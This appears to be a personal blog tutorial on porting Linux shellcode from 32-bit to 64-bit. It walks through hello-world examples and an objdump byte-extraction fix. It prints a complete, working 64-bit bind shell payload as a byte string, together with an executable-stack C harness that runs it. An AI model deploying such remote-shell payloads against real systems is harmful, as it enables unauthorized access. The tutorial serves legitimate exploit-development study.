Shifting from 32bit to 64bit Linux Shellcode

Here is a short write-up about my first steps about Linux (Kali in my case) 64bit shellcoding. Mostly as a reminder for myself, but maybe it helps some folks to save a little time.

Hello World

First I searched for two examples for a hello world shellcode for comparing them. I adjusted the examples:

Auswahl_004

Get hello64.asm and hello32.asm.

Here you can see that there a three differences:

– The registers are different. 64bit registers used here are rax, rdi, rsi and rdx, which are the 64bit registers

– The syscall numbers are different and they have nothing in common.

– The syscalls are executed with syscall instead of int 0x80.

Here are 32bit syscalls and here the is the 64bit version.

A short article the helped me can be found here.

Build the 32bit version:

# nasm -f elf hello.asm
# ld -melf_i386 hello.o -o hello
# ./hello
Hello, World!
# objdump -d hello|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x16\x31\xc0\xb0\x04\x31\xdb\x43\x59\x31\xd2\x83\xc2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"

Here is the c program:

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xeb\x16\x31\xc0\xb0\x04\x31\xdb\x43\x59\x31\xd2\x83\xc2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a";

main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

For compiling the 32bit version with Kali Linux 64bit I needed to install 32bit versions of c libs:

apt-get install g++-multilib libc6-dev-i386

And compile it with:

# gcc -m32 -fno-stack-protector -z execstack hello.c
# ./a.out 
Shellcode Length:  44
Hello, World!

Build the 64bit version:

# nasm -felf64 hello64.asm -o hello64.o
# ld hello64.o -o hello64
# ./hello64 
Hello, World!
# objdump -d hello64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x1e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x5e\x48\x31\xd2\x48\x83\xc2\x0f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"

64bit c code:

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xeb\x1e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x5e\x48\x31\xd2\x48\x83\xc2\x0f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Compile:

# gcc -fno-stack-protector -z execstack hello64.c
# ./a.out 
Shellcode Length:  52
Hello, World!

Bindshell

The second example I looked at was a bindshell. For that I took the example from me for the SLEA certification, that can be found here. I looked for a 64bit example and found it here and make it fit.

Here are the two examples in comparison, well parts of it:

Auswahl_001

Another difference that you can see here is how for example socket() or bind() are called. The socketcall is not needed anymore. Of course the 64bit registers are can keep more data:

Auswahl_005

The full example for the 64bit bindshell can be found here.

Here is the corresponding c program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x30\x39\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

main()
{
    (*(void (*)()) code)();
}

For compiling & linking the asm:

# nasm -felf64 bindshellcodeds64.asm -o bindshellcodeds64.o
# ld bindshellcodeds64.o -o bindshellcodeds64
# objdump -d bindshellcodeds64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x30\x39\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

When dumping the shellcode I encountered a problem which I described in an earlier blog post.

Advertisements

Dumping shellcode 64bit style

Problem: I had a shellcode that I compiled and used in a .c program. The compiled .c program crashed, but the executable from the assembly file worked.
Normally I use this line:

# objdump -d hello32|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

But this did not work.
The problem was in the following line in my assembly code:

mov rbx,0x68732f6e69622fff

When using objdump the problem will become more clear:

# objdump -d exbindshell
...
4000df:	48 bb 2f 2f 62 69 6e 	movabs $0x68732f6e69622f2f,%rbx
...

With the command above the “6e” will be missing in the shellcode.

Using this:

# objdump -d exbindshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

solved this problem for me (so far). The difference is the “cut -f1-7”.